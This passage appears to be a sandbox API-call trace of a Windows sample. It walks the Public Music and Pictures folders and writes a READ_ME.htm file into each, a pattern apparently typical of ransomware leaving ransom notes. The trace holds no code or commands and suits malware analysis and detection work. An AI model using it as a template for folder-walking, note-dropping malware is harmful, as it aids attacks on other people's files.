hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5bd6e460, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bd6e460, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.086] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.087] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd6e460, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x5bd6e460, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bd6e460, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0160.087] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0160.087] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0160.087] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.087] SetErrorMode (uMode=0x0) returned 0x1 [0160.088] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0160.088] SetErrorMode (uMode=0x1) returned 0x0 [0160.088] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*" (normalized: "c:\\users\\public\\music\\sample music\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.095] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.095] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.095] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1 [0160.095] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1 [0160.096] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 1 [0160.096] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 0 [0160.096] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.097] SetErrorMode (uMode=0x0) returned 0x1 [0160.097] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0160.097] SetErrorMode (uMode=0x1) returned 0x0 [0160.098] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*" (normalized: "c:\\users\\public\\music\\sample music\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.099] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.099] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.099] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1 [0160.099] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1 [0160.099] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 1 [0160.100] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 0 [0160.100] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.101] SetErrorMode (uMode=0x0) returned 0x1 [0160.101] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\READ_ME.htm", lpFilePart=0x0) returned 0x2e [0160.101] SetErrorMode (uMode=0x1) returned 0x0 [0160.101] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\READ_ME.htm" (normalized: "c:\\users\\public\\music\\sample music\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0160.103] GetFileType (hFile=0x1d0) returned 0x1 [0160.103] SetErrorMode (uMode=0x0) returned 0x1 [0160.103] GetFileType (hFile=0x1d0) returned 0x1 [0160.103] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a03e18*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2a03e18*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0160.105] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\READ_ME.htm", lpFilePart=0x0) returned 0x21 [0160.105] SetErrorMode (uMode=0x1) returned 0x0 [0160.105] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\READ_ME.htm" (normalized: "c:\\users\\public\\music\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0160.107] GetFileType (hFile=0x1d0) returned 0x1 [0160.107] SetErrorMode (uMode=0x0) returned 0x1 [0160.107] GetFileType (hFile=0x1d0) returned 0x1 [0160.107] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a08368*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2a08368*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0160.109] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0160.109] SetErrorMode (uMode=0x1) returned 0x0 [0160.109] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*" (normalized: "c:\\users\\public\\pictures\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5bd945c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bd945c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.109] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5bd945c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bd945c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.109] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.110] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd945c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x5bd945c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bd945c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0160.110] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0160.110] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0160.110] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.110] SetErrorMode (uMode=0x0) returned 0x1 [0160.110] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0160.111] SetErrorMode (uMode=0x1) returned 0x0 [0160.111] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*" (normalized: "c:\\users\\public\\pictures\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5bd945c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bd945c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.111] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5bd945c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bd945c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.111] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.111] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd945c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x5bd945c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bd945c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0160.111] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0160.112] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0160.112] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.112] SetErrorMode (uMode=0x0) returned 0x1 [0160.112] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0160.112] SetErrorMode (uMode=0x1) returned 0x0 [0160.112] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*" (normalized: "c:\\users\\public\\pictures\\sample pictures\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.118] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.118] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1 [0160.118] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.jpg", cAlternateFileName="")) returned 1 [0160.118] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.118] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1 [0160.118] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1 [0160.118] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, 